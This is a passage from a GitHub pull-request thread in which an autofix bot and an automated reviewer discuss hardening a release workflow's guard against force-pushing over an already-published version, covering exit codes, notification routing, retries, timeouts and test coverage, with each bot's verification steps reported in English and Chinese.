Decision: implemented the reviewer's conservative option (b); declined option (a). Narrowing the push-time guard to tag + GitHub release only would weaken the exact fail-closed invariant this PR exists for: the npm leg is what still refuses a force push when the tag and release are gone but npm has shipped the version (e.g. someone deleted them, or the release-creation step failed after a full publish). That protection is the PR's core invariant, so the npm leg stays.

Instead, the refusal now explains itself at the moment it fires:

  • Strict mode scans all published packages instead of stopping at the first hit, so after a partial publish the refusal names exactly which packages carry the version.
  • The refusal message now reads: Version X has already shipped; refusing to force-push the release branch over it. Found on: <locations>. If a previous attempt published only part of the release, complete the remaining artifacts manually — re-running this job will keep failing here while the version stays published. — locations cover all three legs (npm packages, origin tag vX, GitHub release vX).
  • A decisive hit ends the check: tag/release probes are skipped after an npm hit, so a flaky later probe cannot replace the refusal's recovery guidance with a probe-failure error (fail-closed on probe errors otherwise unchanged).

Finding R5-3 — benign guard refusals drive notify_failure into filing issues and dispatching autofix (release.yml:435, rc:3783256266)

Decision: implemented. The guard now distinguishes outcomes by exit code, and the workflow routes the benign one away from the failure machinery:

  • Exit codes: 0 = unreleased, 3 = already shipped (decisive, benign refusal), 2 = probe or usage failure. 1 is deliberately never returned: node exits 1 on uncaught errors, and a script crash must never be misread as the benign marker.
  • The push step captures the guard status; on exit 3 it writes version_refusal=true to the step output and fails the job (the run stays visibly red — the step still refused); any other non-zero exit fails as a real failure.
  • The publish job exports version_refusal; notify_failure's condition now requires needs.publish.outputs.version_refusal != 'true' for a publish failure. Result: a duplicate run that correctly refuses after the first run shipped — the reviewer's scenario — no longer files a "Release Failed" issue or dispatches the autofix agent, while genuine publish failures (including the guard's fail-closed probe errors and any later publish-step failure) still notify exactly as before.

Notes

  • The automated reviewer's remaining remarks (tool-budget depth, actionlint embedded-shell limitation, release/v0.21.12-preview.0 test-plan path) were all explicitly marked non-blockers; no action.
  • One environment flake observed during verification: scripts/tests/verify-capture.test.js (librsvg/sharp pixel assertions) failed twice under full-suite parallel runs, each time on a different test, passes 3/3 in isolation, and passed on full-suite retry. It has no dependency on this diff (release-version guard vs. terminal-capture rendering).

Verification

Commands actually run on the final committed state (commit 6754c22854):

  • npm run build — passed (exit 0)
  • npm run typecheck — passed (exit 0)
  • npm run lint — passed (exit 0)
  • npx vitest run --config ./scripts/tests/vitest.config.ts get-release-version release-workflow (focused on touched files) — 3 files, 96/96 tests passed
  • npm run test:scripts (full scripts suite) — 54 files, 1176 passed | 16 skipped (after one retry of the unrelated verify-capture environment flake described above; the same suite also passed once before the changes)
  • npx prettier --check on all four changed files — passed
  • Mutation probes (5): default-branch return 0→1, dropped args, inverted process.exit, refusal exit 3→1, strict-scan short-circuit — all killed by the new tests
  • Integration tests after npm run bundle — not run: the touched behavior (release-workflow version guard and notification routing) is not exercised through the bundled CLI or the integration harness
  • npm run generate:settings-schema — not applicable: no settings source changed
中文说明

审查轮次总结 — PR #9082(issue #9076

自动审查器提出的三条 [Suggestion] 发现已全部在提交 6754c22854 中以代码落实。与 main 无冲突(--conflict false,无需合并)。

发现 R5-1 — runCli 的默认分发分支完全没有测试覆盖(scripts/get-release-version.js:580,rc:3783256259)

决定:实现。 先用突变探针复现该结论:将默认分支的 return 0return 1 后,改动前代码上全部 89 个发布相关测试仍然全绿,证实 prepare 任务使用的路径(VERSION_JSON=$(node scripts/get-release-version.js ...))确实未经过 runCli 被执行。

改动内容:

  • 新增按 prepare 实际调用方式驱动的 runCli 默认分发测试。使用 type: 'stable'stable_version_override,使打印出的 JSON 依赖于 args 真正传入 getVersion(nightly 默认值会掩盖丢失的参数透传)。该测试钉住退出码 0、console.log 只被调用一次、以及完整的版本 JSON。
  • 新增一个离线运行真实入口的子进程冒烟测试(--assert-unreleased= → 用法错误 → 退出码 2),端到端钉住 process.exit 接线 —— 即审查器建议的可选子进程测试,且无需网络。

已通过突变验证:return 0→1 翻转、丢失 args 突变、反转 process.exit 条件,三者现在各自恰好被一个新测试杀死。

发现 R5-2 — 部分 npm 发布后任何重试都被永久拒绝(release.yml:437,rc:3783256262)

决定:实现审查器的保守选项(b);拒绝选项(a)。 将推送时守卫收窄为仅检查 tag + GitHub release 会削弱本 PR 赖以存在的失败即关闭(fail-closed)不变量本身:npm 这一路检查正是当 tag 与 release 已消失、但 npm 上已发布该版本时(例如有人删除了它们,或完整发布后创建 release 的步骤失败)仍然拒绝强制推送的保障。该保障是本 PR 的核心不变量,因此保留 npm 检查。

作为替代,拒绝消息现在会在触发时自我说明:

  • strict 模式扫描所有已发布包而不是在第一个命中处停下,因此部分发布之后的拒绝会准确列出哪些包携带该版本。
  • 拒绝消息现在为:Version X has already shipped; refusing to force-push the release branch over it. Found on: <位置列表>. If a previous attempt published only part of the release, complete the remaining artifacts manually — re-running this job will keep failing here while the version stays published. —— 位置列表覆盖全部三路(npm 包、origin tag vXGitHub release vX)。
  • 命中的那一刻即结束检查:npm 命中后跳过 tag/release 探针,因此后续探针的抖动不会用探针失败错误替换掉拒绝消息中的恢复指引(其余的探针失败即关闭行为不变)。

发现 R5-3 — 良性的守卫拒绝会驱动 notify_failure 创建 issue 并派发自动修复(release.yml:435,rc:3783256266)

决定:实现。 守卫现在按退出码区分结果,工作流将良性结果绕开失败处理机制:

  • 退出码:0 = 未发布,3 = 已发布(决定性的良性拒绝),2 = 探针或用法失败。刻意不返回 1:node 在未捕获异常时以 1 退出,脚本崩溃绝不能被误读为良性标记。
  • 推送步骤捕获守卫状态;退出码为 3 时向步骤输出写入 version_refusal=true 并使任务失败(运行仍然显式变红 —— 该步骤确实拒绝了推送);其他任何非零退出都按真实失败处理。
  • publish 任务导出 version_refusalnotify_failure 的条件现在要求 publish 失败时 needs.publish.outputs.version_refusal != 'true'。效果:在第一次运行已发布后、重复运行正确拒绝的场景 —— 即审查器描述的场景 —— 不再创建 "Release Failed" issue,也不再派发自动修复 agent;而真实的发布失败(包括守卫失败即关闭的探针错误,以及任何后续发布步骤的失败)仍会像以前一样正常通知。

备注

  • 自动审查器的其余说明(工具预算深度、actionlint 内嵌 shell 限制、release/v0.21.12-preview.0 测试计划路径)均已明确标注为非阻断项;不处理。
  • 验证过程中观察到一处环境性抖动:scripts/tests/verify-capture.test.js(librsvg/sharp 像素断言)在完整套件并行运行中失败过两次,且每次失败的测试不同;单独运行 3/3 通过,完整套件重试后也通过。它与本 diff 无依赖关系(发布版本守卫 vs. 终端截图渲染)。

验证

在最终提交状态(提交 6754c22854)上实际运行的命令:

  • npm run build — 通过(退出码 0)
  • npm run typecheck — 通过(退出码 0)
  • npm run lint — 通过(退出码 0)
  • npx vitest run --config ./scripts/tests/vitest.config.ts get-release-version release-workflow(聚焦改动文件)— 3 个文件,96/96 测试通过
  • npm run test:scripts(完整脚本套件)— 54 个文件,1176 通过 | 16 跳过(在上述无关的 verify-capture 环境抖动重试一次后通过;该套件在改动前也曾通过一次)
  • 对全部四个改动文件执行 npx prettier --check — 通过
  • 突变探针(5 个):默认分支 return 0→1、丢失 args、反转 process.exit、拒绝退出码 3→1、strict 扫描短路 —— 全部被新测试杀死
  • npm run bundle 之后的集成测试 — 未运行:所改动的行为(发布工作流版本守卫与通知路由)不经过打包后的 CLI 或集成测试框架执行
  • npm run generate:settings-schema — 不适用:未改动任何 settings 源

Base-conflict check · 基分支冲突检查: no conflict with main. · 与 main 无冲突。

Re-review when you have a moment. After round 10 this bot stops and leaves the PR for a human. · 有空请复审;第 10 轮后本 bot 停止并将 PR 交给人工。


🧠 Handled by Qwen Code · model/模型 qwen3.8-max

@qwen-code-ci-bot qwen-code-ci-bot left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Not explored to full depth (tool budget reached): "Context: PR #9082 (QwenLM/qwen-code, Fixes #9076) changes…": none — all checks I started completed within budget..

Not linted (tool limitation, not a blocker): the executable-script lint — .github/workflows/release.yml: actionlint embedded-shell source mapping is not yet supported — not linted.

Test Plan (not a blocker): release/v0.21.12-preview.0no such file or directory.

中文说明

未探索到全部深度(达到工具调用预算):"Context: PR #9082 (QwenLM/qwen-code, Fixes #9076) changes…"none — all checks I started completed within budget.

未检查(工具限制,非阻断):the executable-script lint — .github/workflows/release.yml: actionlint embedded-shell source mapping is not yet supported — not linted。

Test Plan(非阻断):release/v0.21.12-preview.0no such file or directory

— qwen3.8-max via Qwen Code /review (v0.21.11)

Comment thread .github/workflows/release.yml Outdated
Comment on lines +445 to +446
GUARD_STATUS=0
node scripts/get-release-version.js --assert-unreleased="${RELEASE_VERSION}" || GUARD_STATUS=$?

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] R6-4: The guard invokes scripts/get-release-version.js from the checked-out ref — the operator-controlled dispatch input ref — and fails OPEN when that ref predates this PR. Probed against the merge base: the pre-PR entry point (console.log(JSON.stringify(getVersion(getArgs()), null, 2))) treats --assert-unreleased=X as an ignored unknown key, defaults type to nightly, prints version JSON and exits 0 — so GUARD_STATUS=0 reads as "unreleased verified" while the guard never ran, and the newly added git push --force proceeds. No gate rejects a pre-PR ref: prepare invokes the checked-out script only with flags that predate this PR and emits exactly the JSON keys it consumes, so the run reaches the push step with the old script. — Failure scenario: dispatch the workflow from a branch containing this PR with ref pointing at a pre-PR maintenance ref/SHA (the documented patch-release flow of that input) → the checkout brings the pre-PR script, the guard passes open with no log indication it never ran, and if that version ships concurrently during the prepare→push window (the minutes-to-hours of validation jobs + the production-release approval gate that the diff's own rationale names), the force push replaces the branch tip that gh release create --target and finalize-release's merge-to-main anchor to — npm vX, tag vX, and main content permanently inconsistent. Pre-diff the same configuration was safer: no force push, and non-fast-forward rejection still serialized retries.

Suggested fix — fail closed on capability before trusting exit 0:

if ! grep -q "assert-unreleased" scripts/get-release-version.js; then
  echo "::error::Checked-out ref predates the push-time guard; refusing force push."
  exit 1
fi

(or have the guard print a sentinel the bash requires, or document that releases may only be dispatched from refs containing the guard)

中文说明

[Critical] R6-4:守卫从检出的 ref(即运维可控的 dispatch 输入 ref)调用 scripts/get-release-version.js;当该 ref 早于本 PR 时,守卫会失败放行(fail open)。已对 merge base 实测:PR 之前的入口(console.log(JSON.stringify(getVersion(getArgs()), null, 2)))会把 --assert-unreleased=X 当作未知参数忽略、默认走 nightly 路径、打印版本 JSON 并以 0 退出 —— 于是 GUARD_STATUS=0 被读作"已确认未发布",而守卫其实从未运行,新增的 git push --force 照常执行。没有任何门禁拒绝早于 PR 的 ref:prepare 只使用早于本 PR 的参数调用检出脚本,且产出的 JSON 键与 prepare 消费的完全一致,因此运行会带着旧脚本走到推送步骤。 — 失败场景:从包含本 PR 的分支派发 workflow,同时将 ref 指向 PR 之前的维护分支/SHA(该输入文档化的补丁发布用法)→ 检出带来 PR 之前的脚本,守卫静默放行且日志无任何异常;若该版本在 prepare→推送窗口(diff 自述的"数分钟到数小时":验证任务 + production-release 审批)内并发发布成功,强制推送将替换 gh release create --targetfinalize-release 合入 main 所锚定的分支 tip —— npm vX、tag vX 与 main 内容永久不一致。改动前同样的配置更安全:没有强制推送,non-fast-forward 拒绝仍在推送时刻串行化重试。

— qwen3.8-max via Qwen Code /review (v0.21.11)

Comment on lines 607 to +608
if (process.argv[1] === fileURLToPath(import.meta.url)) {
console.log(JSON.stringify(getVersion(getArgs()), null, 2));
const exitCode = runCli(getArgs());

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] R5-1 (carried forward from round 5 — partially addressed): the default-dispatch branch of runCli is now tested, but the original finding's second half — the entry-point exit-code glue — is still unexercised for the exit-3 (already-shipped refusal) path: the only real-entry-point test ('wires the guard exit code to the process exit status end to end') spawns the script with --assert-unreleased= (empty → usage error → exit 2). Exit 3 is covered only via in-process runCli(), where this block never runs. — Failure scenario: mutation-proven — changing if (exitCode !== 0) to if (exitCode !== 0 && exitCode !== 3) survives all 58 tests, and a stubbed-npm probe of the real entry point then exits 0 on a shipped version: the workflow reads GUARD_STATUS=0, version_refusal is never set, and the force push proceeds over the shipped version — exactly the regression this PR exists to prevent, shipped green.

Suggested fix — a spawnSync test of the real entry point driving exit 3; refusal is decided by the first npm hit, so a stub npm on PATH (via the spawn env) that echoes the requested version for npm view suffices — no network needed:

const result = spawnSync(
  process.execPath,
  ['scripts/get-release-version.js', '--assert-unreleased=1.2.3'],
  { encoding: 'utf8', env: { ...process.env, PATH: `${stubDir}:${process.env.PATH}` } },
);
expect(result.status).toBe(3);
expect(result.stderr).toContain('has already shipped');

This shape was verified to kill the mutant.

中文说明

[Suggestion] R5-1(自第 5 轮延续 —— 部分已解决):runCli 的默认分发分支现在已有测试,但原发现的后半部分 —— 入口处的退出码接线 —— 对 exit 3(已发布拒绝)路径仍未被端到端执行:唯一真实入口测试('wires the guard exit code to the process exit status end to end')以 --assert-unreleased=(空值 → 用法错误 → exit 2)启动脚本。exit 3 仅通过进程内 runCli() 覆盖,而该代码块在那里从不执行。 — 失败场景:已用突变证实 —— 将 if (exitCode !== 0) 改为 if (exitCode !== 0 && exitCode !== 3) 后全部 58 个测试仍通过;此时用打桩的 npm 探针运行真实入口,已发布版本会以 0 退出:workflow 读到 GUARD_STATUS=0version_refusal 永远不会被设置,强制推送在已发布版本上照常进行 —— 正是本 PR 要防止的回归,且以全绿状态上线。建议修复见上方英文部分(spawnSync + 打桩 npm 驱动 exit 3),该形式已验证可杀死该突变。

— qwen3.8-max via Qwen Code /review (v0.21.11)

);
});

it('keeps a decisive version refusal out of the release-failed notification', () => {

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] R6-1: The fail-closed propagation branch (if [[ "${GUARD_STATUS}" -ne 0 ]]; then exit "${GUARD_STATUS}"; fi, release.yml:451-453) is pinned by no test: the refusal regex below ends verbatim at the refusal branch's exit 1, and the re-validation regex spans the guard-to-push region with an unanchored [\s\S]*?. — Failure scenario: mutation-proven — deleting those three -ne 0 lines from release.yml leaves all 11 release-workflow tests green. With that branch gone, a guard probe failure (npm ETIMEDOUT/registry outage, gh auth failure → exit 2) falls through to git push --force without verification, silently defeating the guard's fail-closed guarantee — the sibling test's comment promises "any other guard exit (a fail-closed probe error) … still notify", but no regex certifies the branch that makes it true.

Suggested fix — pin the branch verbatim, e.g. append to the existing refusal regex (or add one more toMatch):

\n {12}fi\n {12}if \[\[ "\$\{GUARD_STATUS\}" -ne 0 \]\]; then\n {14}exit "\$\{GUARD_STATUS\}"\n {12}fi

The extended regex was verified to match the clean workflow and fail under the mutant.

中文说明

[Suggestion] R6-1:失败关闭(fail-closed)传播分支(if [[ "${GUARD_STATUS}" -ne 0 ]]; then exit "${GUARD_STATUS}"; fi,release.yml:451-453)没有任何测试固定:下方的拒绝正则在该分支的 exit 1 处逐字结束,而重新校验正则用未锚定的 [\s\S]*? 跨越守卫到推送之间的区域。 — 失败场景:已用突变证实 —— 从 release.yml 删除那三行 -ne 0 后,全部 11 个 release-workflow 测试仍为绿色。该分支消失后,守卫探针失败(npm ETIMEDOUT/registry 故障、gh 认证失败 → exit 2)会直接落到 git push --force,未经任何校验,静默破坏守卫的失败关闭保证 —— 相邻测试的注释承诺"任何其它守卫退出(失败关闭的探针错误)……仍会通知",但没有任何正则保证使其成立的分支存在。建议修复见上方英文部分(将分支逐字追加进现有正则),已验证扩展后的正则能匹配正常 workflow 并在该突变下失败。

— qwen3.8-max via Qwen Code /review (v0.21.11)

Comment on lines +352 to +353
concurrency:
group: 'release-publish-${{ needs.prepare.outputs.release_tag }}-${{ needs.prepare.outputs.is_dry_run }}'

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] R6-2: The new concurrency group serializes same-tag retries behind an in-progress publish job, but the publish job sets no timeout-minutes, so a wedged job holds the group for the GitHub default of 360 minutes and queued same-tag retries can neither run nor fail nor notify until it is released. — Failure scenario: a publish job hangs mid-run — a stalled npm publish or a stalled asset upload in gh release create (both are real hang points after the group is held). The retry's publish job sits in the concurrency queue behind the hung run for up to ~6 hours with no notification: notify_failure's gate only evaluates once publish reaches a terminal state, and a queued job never does. Pre-diff, the retry ran concurrently and failed fast at the push (non-fast-forward rejection), firing notify_failure within minutes.

Suggested fix — bound the hold without weakening the no-cancel-mid-publish invariant:

Suggested change
concurrency:
group: 'release-publish-${{ needs.prepare.outputs.release_tag }}-${{ needs.prepare.outputs.is_dry_run }}'
concurrency:
group: 'release-publish-${{ needs.prepare.outputs.release_tag }}-${{ needs.prepare.outputs.is_dry_run }}'
timeout-minutes: 90

Job-level precedent exists in this repo (ci.yml:60, desktop-release.yml:120).

中文说明

[Suggestion] R6-2:新的并发组使同 tag 的重试排队在进行中的 publish 任务之后,但 publish 任务没有设置 timeout-minutes,因此卡住的任务会按 GitHub 默认的 360 分钟一直占用该组,排队的同 tag 重试在其释放之前既不能运行、也不会失败、更不会通知。 — 失败场景:publish 任务中途挂起 —— npm publish 停滞或 gh release create 的资源上传停滞(两者都是占用并发组之后的真实挂起点)。重试的 publish 任务在并发队列中排在挂起运行之后最长约 6 小时且无任何通知:notify_failure 的门禁只在 publish 到达终态时才求值,而排队中的任务永远不会到达。改动前,重试并发运行并在推送处快速失败(non-fast-forward 拒绝),数分钟内即触发 notify_failure。建议修复见上方英文部分(为 publish 任务增加 timeout-minutes: 90;仓库已有 job 级先例:ci.yml:60、desktop-release.yml:120),在不削弱"发布中途不取消"不变量的前提下限定占用时间。

— qwen3.8-max via Qwen Code /review (v0.21.11)

Comment thread .github/workflows/release.yml Outdated
# means the release shipped elsewhere (or partially), not that
# it failed. Any other non-zero exit stays a real failure.
GUARD_STATUS=0
node scripts/get-release-version.js --assert-unreleased="${RELEASE_VERSION}" || GUARD_STATUS=$?

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] R6-5: The guard runs 12 serial external probes (10× npm view, 1× git ls-remote, 1× gh release view) with no retry. Any transient non-E404 error exits 2 → publish failure → notify_failure files a "Release Failed" issue labeled autofix/approved and dispatches the autonomous qwen-autofix agent (dry_run=false) against transient infrastructure noise — and this runs minutes-to-hours after a human already approved the environment gate. — Failure scenario: an npm registry E429/ETIMEDOUT on any of the 10 package probes, a TLS blip on ls-remote, or a GitHub secondary rate limit on gh release view at push time fails the release, creates the tracking issue, and dispatches an autonomous autofix run that cannot fix a transient outage; the operator must re-dispatch from scratch. Pre-diff the push step probed nothing (git push only), so this diff inserts 12 new flake opportunities at the job's most expensive moment. Fail-closed is the right baseline; a bounded retry of exit-2 only preserves it.

Suggested fix — re-run probe failures only, keeping exit 0/3 decisive:

for attempt in 1 2 3; do
  node scripts/get-release-version.js --assert-unreleased="${RELEASE_VERSION}" && GUARD_STATUS=0 || GUARD_STATUS=$?
  [[ "${GUARD_STATUS}" -ne 2 ]] && break
  sleep $(( attempt * 15 ))
done
中文说明

[Suggestion] R6-5:守卫串行执行 12 次外部探测(10 次 npm view、1 次 git ls-remote、1 次 gh release view)且没有任何重试。任何瞬时的非 E404 错误都会以 exit 2 结束 → publish 失败 → notify_failure 创建带 autofix/approved 标签的 "Release Failed" issue,并对瞬时基础设施噪声派发自主的 qwen-autofix agent(dry_run=false)—— 而这一切发生在人工已批准环境门禁之后的数分钟乃至数小时。 — 失败场景:推送时刻 10 个包探测中任意一个遇到 npm registry E429/ETIMEDOUT、ls-remote 的 TLS 抖动、或 gh release view 的 GitHub 次级限流,就会使发布失败、创建跟踪 issue,并派发一次无法修复瞬时故障的自主 autofix 运行;运维必须从头重新派发。改动前推送步骤不做任何探测(只有 git push),因此本 diff 在任务最昂贵的时刻引入了 12 个新的抖动机会。失败关闭是正确的基线;仅对 exit 2 做有界重试即可保留该基线。建议修复见上方英文部分(有界重试,仅重跑探测失败,保持 exit 0/3 的决定性)。

— qwen3.8-max via Qwen Code /review (v0.21.11)

@qwen-code-dev-bot

Copy link
Copy Markdown
Collaborator Author

🤖 Addressed the latest review feedback (round 5/10). What changed, and what I pushed back on: · 已处理最新评审反馈(第 5/10 轮)。改动内容与我反驳保留之处如下:

Autofix review round summary — PR #9082 (issue #9076)

All five findings addressed; all resolved in code. No conflicts (--conflict false, no merge performed).

Findings and dispositions

  • [Critical] R6-4 — guard fails OPEN when the checked-out ref predates this PR (rc:3784371298): Fixed. Reproduced first: extracted the merge-base scripts/get-release-version.js and ran it with --assert-unreleased=99.99.99 — it ignored the flag, printed nightly version JSON, and exited 0, so GUARD_STATUS=0 would read as "unreleased verified" while the guard never ran, and the new git push --force would proceed. Fix: a fail-closed capability check at the top of the push guard — if the checked-out script does not carry assert-unreleased, refuse the force push with ::error:: and exit 1 (a real, notifying failure; version_refusal is never set). Pinned by a new mutation-tested regex test that requires the check inside the dry-run guard and ahead of the guard invocation.
  • [Suggestion] R5-1 — exit-3 (already-shipped) path unexercised through the real entry point (rc:3784371302): Fixed. Added a spawnSync test of the real entry point: a stub npm on PATH that echoes the probed version makes the strict scan report "shipped" with no network. Asserts exit status 3 and the refusal message. Verified mutation-proven: changing the entry-point glue to if (exitCode !== 0 && exitCode !== 3) now fails this test.
  • [Suggestion] R6-1 — fail-closed propagation branch unpinned (rc:3784371312): Fixed. Extended the refusal regex verbatim through the if [[ "${GUARD_STATUS}" -ne 0 ]]; then exit "${GUARD_STATUS}"; fi branch (spanning the retry loop now between it and the guard call). Verified mutation-proven: deleting those three lines now fails the test.
  • [Suggestion] R6-2 — concurrency group held unboundedly by a wedged publish (rc:3784371319): Fixed. Added timeout-minutes: 90 to the publish job, between the concurrency block and the environment gate, with the rationale folded into the existing serialization comment. Precedent: ci.yml (60) and desktop-release.yml (120). Pinned in the serialization test; deleting it now fails.
  • [Suggestion] R6-5 — 12 serial probes with no retry (rc:3784371335): Fixed. The guard invocation now sits in a bounded 3-attempt loop that retries exit 2 only (probe failures) with 15s/30s backoff; exit 0 and exit 3 stay decisive on the first attempt. Implemented with full if forms (not [[ ]] && break) so it is safe under GitHub's default bash -e. Functionally verified under set -euo pipefail with a stubbed guard: 2,2,0 → recovers and pushes; 2,2,2 → exits 2; 3 → immediate refusal, no retry; 0 → pushes. The loop and per-attempt GUARD_STATUS reset are pinned in the re-validation test; removing them now fails.

Notes

  • The reviewer's suggested retry snippet would have exited the step prematurely under bash -e ([[ ... ]] && break returns 1 when the test fails); the implemented form keeps the semantics with errexit-safe if blocks.
  • The capability check is a string marker, as suggested in the finding. If a future change renames the flag without updating the grep, releases fail loudly (fail closed), never silently.
  • Diff growth this round: source +30 / test +48 net lines — window totals ≈179/400 source, ≈378/400 test, both within budget.
  • One pre-existing environment interaction surfaced during verification: scripts/tests/install-script.test.js fails when packages/audio-capture/dist is absent (i.e., before npm run build); it passes after the build. Unrelated to this change (this round touches only release.yml and release-workflow.test.js).

Verification

  • Probe of merge-base script (git show <merge-base>:scripts/get-release-version.js + --assert-unreleased=99.99.99) — exit 0, reproducing the Critical
  • npx vitest run --config ./scripts/tests/vitest.config.ts release-workflow13 passed
  • npx vitest run --config ./scripts/tests/vitest.config.ts release-workflow get-release-version98 passed (3 files)
  • npm run test:scripts1177 passed, 16 skipped, 1 failed (install-script, missing pre-build artifact); after npm run build: npx vitest run --config ./scripts/tests/vitest.config.ts install-script105 passed, 16 skipped
  • Mutation checks (5 mutants: dropped capability check; swallowed exit 3 in entry glue; removed -ne 0 propagation branch; removed timeout-minutes; removed retry loop) — each killed by the intended test
  • Pre-round check: the three new/updated pins fail against the pre-round release.yml — required for the Critical fix
  • bash -n on the extracted push-step block — passed
  • Functional retry-loop harness under set -euo pipefail (stubbed guard exits) — behaved as described above
  • npm run buildpassed
  • npm run typecheckpassed
  • npm run lintpassed
  • npx prettier --check .github/workflows/release.yml scripts/tests/release-workflow.test.jspassed
中文说明

Autofix 评审轮次总结 — PR #9082(issue #9076

五个发现全部处理,且全部在代码中解决。无冲突(--conflict false,未执行任何合并)。

发现与处置

  • [Critical] R6-4 — 当检出的 ref 早于本 PR 时守卫失败放行(fail open)rc:3784371298):已修复。 先做了复现:提取 merge-base 版本的 scripts/get-release-version.js 并以 --assert-unreleased=99.99.99 运行 —— 它忽略该参数、打印 nightly 版本 JSON 并以 0 退出,于是 GUARD_STATUS=0 会被读作"已确认未发布",而守卫其实从未运行,新增的 git push --force 会照常执行。修复:在推送守卫开头增加失败关闭的能力检查 —— 若检出的脚本不含 assert-unreleased,则以 ::error:: 拒绝强制推送并 exit 1(真实失败、会触发通知;不会设置 version_refusal)。并用一个新的、经突变验证的正则测试固定:该检查必须位于 dry-run 守卫之内、守卫调用之前。
  • [Suggestion] R5-1 — exit 3(已发布)路径未经真实入口执行rc:3784371302):已修复。 新增真实入口的 spawnSync 测试:PATH 上放一个回显被探测版本号的打桩 npm,使严格扫描在无网络情况下报告"已发布"。断言退出码 3 与拒绝消息。已突变验证:把入口接线改成 if (exitCode !== 0 && exitCode !== 3) 后该测试失败。
  • [Suggestion] R6-1 — 失败关闭传播分支未被测试固定rc:3784371312):已修复。 将拒绝正则逐字扩展至 if [[ "${GUARD_STATUS}" -ne 0 ]]; then exit "${GUARD_STATUS}"; fi 分支(跨越如今位于其与守卫调用之间的重试循环)。已突变验证:删除那三行后测试失败。
  • [Suggestion] R6-2 — 卡住的 publish 无上限地占用并发组rc:3784371319):已修复。 为 publish 任务添加 timeout-minutes: 90,位于并发块与环境门禁之间,理由并入既有序列化注释。先例:ci.yml(60)与 desktop-release.yml(120)。已在序列化测试中固定;删除即失败。
  • [Suggestion] R6-5 — 12 次串行探测且无重试rc:3784371335):已修复。 守卫调用现在位于一个最多 3 次的有界循环中,仅对 exit 2(探测失败)以 15s/30s 退避重试;exit 0 与 exit 3 在第一次尝试即保持决定性。使用完整 if 形式(而非 [[ ]] && break)实现,以兼容 GitHub 默认的 bash -e。已用打桩守卫在 set -euo pipefail 下功能验证:2,2,0 → 恢复并推送;2,2,2 → 以 2 退出;3 → 首次即拒绝、不重试;0 → 推送。循环与每次尝试的 GUARD_STATUS 重置已在重新校验测试中固定;移除即失败。

说明

  • 评审建议的重试片段在 bash -e 下会导致步骤提前退出([[ ... ]] && break 在测试为假时返回 1);实现采用 errexit 安全的 if 块保留相同语义。
  • 能力检查按发现建议采用字符串标记。若未来改名 flag 而未同步更新 grep,发布会响亮地失败(失败关闭),绝不会静默通过。
  • 本轮 diff 增长:源码净 +30 / 测试净 +48 行 —— 窗口累计约 179/400(源码)、378/400(测试),均在预算内。
  • 验证过程中暴露一个与本改动无关的既有环境交互:packages/audio-capture/dist 不存在时(即 npm run build 之前)scripts/tests/install-script.test.js 会失败;构建后即通过。本轮仅改动 release.ymlrelease-workflow.test.js

验证

  • merge-base 脚本探针(git show <merge-base>:scripts/get-release-version.js + --assert-unreleased=99.99.99)—— exit 0,复现该 Critical
  • npx vitest run --config ./scripts/tests/vitest.config.ts release-workflow —— 13 通过
  • npx vitest run --config ./scripts/tests/vitest.config.ts release-workflow get-release-version —— 98 通过(3 个文件)
  • npm run test:scripts —— 1177 通过、16 跳过、1 失败(install-script,缺少构建前产物);npm run build 之后:npx vitest run --config ./scripts/tests/vitest.config.ts install-script —— 105 通过、16 跳过
  • 突变检查(5 个突变体:删除能力检查;入口接线吞掉 exit 3;删除 -ne 0 传播分支;删除 timeout-minutes;删除重试循环)—— 每个均被对应测试杀死
  • 轮前检查:三个新增/更新的固定项在轮前 release.yml 上失败 —— 满足 Critical 修复的门禁要求
  • 对提取出的推送步骤代码块执行 bash -n —— 通过
  • set -euo pipefail 下的重试循环功能验证(打桩守卫退出码)—— 行为如上所述
  • npm run build —— 通过
  • npm run typecheck —— 通过
  • npm run lint —— 通过
  • npx prettier --check .github/workflows/release.yml scripts/tests/release-workflow.test.js —— 通过

Base-conflict check · 基分支冲突检查: no conflict with main. · 与 main 无冲突。

Re-review when you have a moment. After round 10 this bot stops and leaves the PR for a human. · 有空请复审;第 10 轮后本 bot 停止并将 PR 交给人工。


🧠 Handled by Qwen Code · model/模型 qwen3.8-max

@qwen-code-ci-bot qwen-code-ci-bot left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Partially reviewed — gaps disclosed.

Not reviewed: build-and-test — Test (windows-latest, Node 22.x) was skipped in CI (merge_group-only job) and the win32 path of the new stub test was executed nowhere; the failure it would show is finding R7-2.

Not explored to full depth (tool budget reached): "Context: PR #9082 (QwenLM/qwen-code, Fixes #9076) changes…": none — all checks I intended completed within budget.; "You are review agent reverse-audit — Reverse audit agent…": nothing major — I completed the walk I had planned. I did not exhaustively verify the branch protection / force-push permissions (external config, unverifiable …; "You are review agent reverse-audit — Reverse audit agent…": none — the planned walk completed within budget.; "You are review agent reverse-audit — Reverse audit agent…": (none — finished within budget; no check left unfinished); "Context: PR #9082 (QwenLM/qwen-code, Fixes #9076) changes…": none — all planned checks completed within budget..

Not reviewed: reverse audit — did not converge within the reverse-audit round cap of 5.

Not linted (tool limitation, not a blocker): the executable-script lint — .github/workflows/release.yml: actionlint embedded-shell source mapping is not yet supported — not linted.

Test Plan (not a blocker): release/v0.21.12-preview.0no such file or directory.

中文说明

仅完成部分审查,审查缺口已披露。

未审查:build-and-test — Test (windows-latest, Node 22.x) was skipped in CI (merge_group-only job) and the win32 path of the new stub test was executed nowhere; the failure it would show is finding R7-2。

